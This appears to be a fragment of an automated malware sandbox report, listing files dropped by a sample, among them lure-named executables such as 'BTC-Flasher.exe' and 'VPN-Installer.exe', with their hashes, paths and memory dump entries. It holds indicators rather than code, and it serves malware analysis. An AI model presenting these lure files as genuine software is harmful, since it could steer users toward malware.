                                                                • SHA256 7814365ddd6d22a373e4279d42816bcf8b53bf146c2e5ba4a334003da9a47a82
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                02.08.2022.exe
                                                                • Path C:\Users\Admin\AppData\Local\Temp\a\02.08.2022.exe
                                                                • Size 242KB
                                                                • SHA256 5cd644eccdd1f056b6cf779f7f84cfa66c34f2f58b85f44799db87ef9852526a
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                AutoClicker-J-AI.exe
                                                                • Path C:\Users\Admin\AppData\Local\Temp\a\AutoClicker-J-AI.exe
                                                                • Size 5.4MB
                                                                • SHA256 552d6bc9dd165279c330cf381ceab185b407878ea81393cf2bae437ebecd9dbe
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                BTC-Flasher.exe
                                                                • Path C:\Users\Admin\AppData\Local\Temp\a\BTC-Flasher.exe
                                                                • Size 5.4MB
                                                                • SHA256 21562797103d497b3f17defd8cde542197089e5adfef9cfe73957eec1b8de565
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                VPN-Installer.exe
                                                                • Path C:\Users\Admin\AppData\Local\Temp\a\VPN-Installer.exe
                                                                • Size 5.4MB
                                                                • SHA256 f93d6ef0b54b5e882d1420339c3083315cc2104ea73c95fea0dca9594913e282
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                main.exe
                                                                • Path C:\Users\Admin\AppData\Local\Temp\a\main.exe
                                                                • Size 3.2MB
                                                                • SHA256 17bc5b41b35d894b37224e5daa66e2c7326e10a8309e299af122c6602afc953e
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                pothjasefdj.exe
                                                                • Path C:\Users\Admin\AppData\Local\Temp\a\pothjasefdj.exe
                                                                • Size 120KB
                                                                • SHA256 d0ebe35a902832fbd856e5a03d770c5cf1d7ba9c9418a51bda6d9b0698771841
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                MSIBD74.tmp
                                                                • Path C:\Windows\Installer\MSIBD74.tmp
                                                                • Size 202KB
                                                                • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                DefaultIcon
                                                                • Path C:\Windows\Installer\{3E38E495-441B-B71E-19A8-658C81C8B012}\DefaultIcon
                                                                • Size 435B
                                                                • SHA256 0dd459d166f037bb8e531eb2eceb2b79de8dbbd7597b05a03c40b9e23e51357a
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                metadata-2
                                                                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                                                • Size 24.6MB
                                                                • SHA256 30287b8fad94c9fc24e5a9bea882d32f4b714cf3ec4d6af660e2c40dc161f270
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                {f19b961d-e44e-4914-8582-3227df8cd61b}_OnDiskSnapshotProp
                                                                • Path \??\Volume{76fc64c0-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{f19b961d-e44e-4914-8582-3227df8cd61b}_OnDiskSnapshotProp
                                                                • Size 6KB
                                                                • SHA256 769057f2d1650a7ba23d15dc998cea8ea897588073932b4ebc32b2f0357efe71
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                memory/252-67-0x0000000004B70000-0x0000000004B9E000-memory.dmp
                                                                Download

                                                                memory/252-71-0x0000000004BB0000-0x0000000004BBA000-memory.dmp
                                                                Download

                                                                memory/252-75-0x0000000004C60000-0x0000000004CEC000-memory.dmp
                                                                Download

                                                                memory/252-79-0x0000000004EA0000-0x000000000504A000-memory.dmp
                                                                Download

                                                                memory/468-163-0x0000000000780000-0x0000000000816000-memory.dmp
                                                                Download

                                                                memory/468-179-0x000000001BCE0000-0x000000001BE68000-memory.dmp
                                                                Download

                                                                memory/468-167-0x000000001B760000-0x000000001B7EC000-memory.dmp
                                                                Download

                                                                memory/468-180-0x00000000027F0000-0x0000000002808000-memory.dmp
                                                                Download

                                                                memory/468-181-0x0000000002880000-0x0000000002898000-memory.dmp
                                                                Download

                                                                memory/468-168-0x000000001B9A0000-0x000000001BB4A000-memory.dmp
                                                                Download

                                                                memory/468-164-0x0000000002810000-0x0000000002846000-memory.dmp
                                                                Download

                                                                memory/568-292-0x000000001B740000-0x000000001B812000-memory.dmp
                                                                Download

                                                                memory/1028-323-0x0000000000B00000-0x0000000000B22000-memory.dmp
                                                                Download

                                                                memory/1208-41-0x0000000005EF0000-0x00000000061E0000-memory.dmp
                                                                Download

                                                                memory/1208-42-0x0000000005BF0000-0x0000000005C7C000-memory.dmp
                                                                Download

                                                                memory/1208-43-0x0000000005B90000-0x0000000005BB2000-memory.dmp
                                                                Download

                                                                memory/1208-40-0x0000000001B90000-0x0000000001B98000-memory.dmp
                                                                Download

                                                                memory/1208-44-0x0000000005C80000-0x0000000005E2A000-memory.dmp
                                                                Download

                                                                memory/1208-45-0x0000000006790000-0x0000000006D36000-memory.dmp
                                                                Download

                                                                memory/2356-657-0x0000000000400000-0x0000000000422000-memory.dmp
                                                                Download

                                                                memory/2356-926-0x0000000000400000-0x0000000000422000-memory.dmp
                                                                Download

                                                                memory/3116-134-0x0000000002080000-0x0000000002098000-memory.dmp
                                                                Download

                                                                memory/3116-145-0x0000000004810000-0x0000000004860000-memory.dmp
                                                                Download

                                                                memory/3116-154-0x0000000004CE0000-0x0000000004DB2000-memory.dmp
                                                                Download

                                                                memory/3116-152-0x0000000004A50000-0x0000000004A91000-memory.dmp
                                                                Download

                                                                memory/3116-150-0x0000000004AF0000-0x0000000004B82000-memory.dmp
                                                                Download

                                                                memory/3116-149-0x0000000004A10000-0x0000000004A46000-memory.dmp
                                                                Download

                                                                memory/3268-946-0x0000000000210000-0x00000000006A3000-memory.dmp
                                                                Download

                                                                memory/3268-944-0x0000000000210000-0x00000000006A3000-memory.dmp
                                                                Download

                                                                memory/4768-640-0x000001E1D0D60000-0x000001E1D0D6A000-memory.dmp
                                                                Download

                                                                memory/4768-641-0x000001E1D0D90000-0x000001E1D0D98000-memory.dmp
                                                                Download

                                                                memory/4768-639-0x000001E1D0810000-0x000001E1D083C000-memory.dmp
                                                                Download

                                                                memory/4768-643-0x000001E1EC400000-0x000001E1EC4A8000-memory.dmp
                                                                Download

                                                                memory/4768-644-0x000001E1EAE90000-0x000001E1EAEB2000-memory.dmp
                                                                Download

                                                                memory/4768-645-0x000001E1EAE60000-0x000001E1EAE74000-memory.dmp
                                                                Download

                                                                memory/4788-23-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-26-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-28-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-17-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-18-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-16-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-22-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-27-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-24-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4788-25-0x000001D3232F0000-0x000001D3232F1000-memory.dmp
                                                                Download

                                                                memory/4900-2-0x00007FFE85CB0000-0x00007FFE86772000-memory.dmp
                                                                Download

                                                                memory/4900-3-0x00007FFE85CB3000-0x00007FFE85CB5000-memory.dmp
                                                                Download

                                                                memory/4900-0-0x00007FFE85CB3000-0x00007FFE85CB5000-memory.dmp
                                                                Download

                                                                memory/4900-13-0x00007FFE85CB0000-0x00007FFE86772000-memory.dmp
                                                                Download

                                                                memory/4900-1-0x0000000000660000-0x0000000000668000-memory.dmp
                                                                Download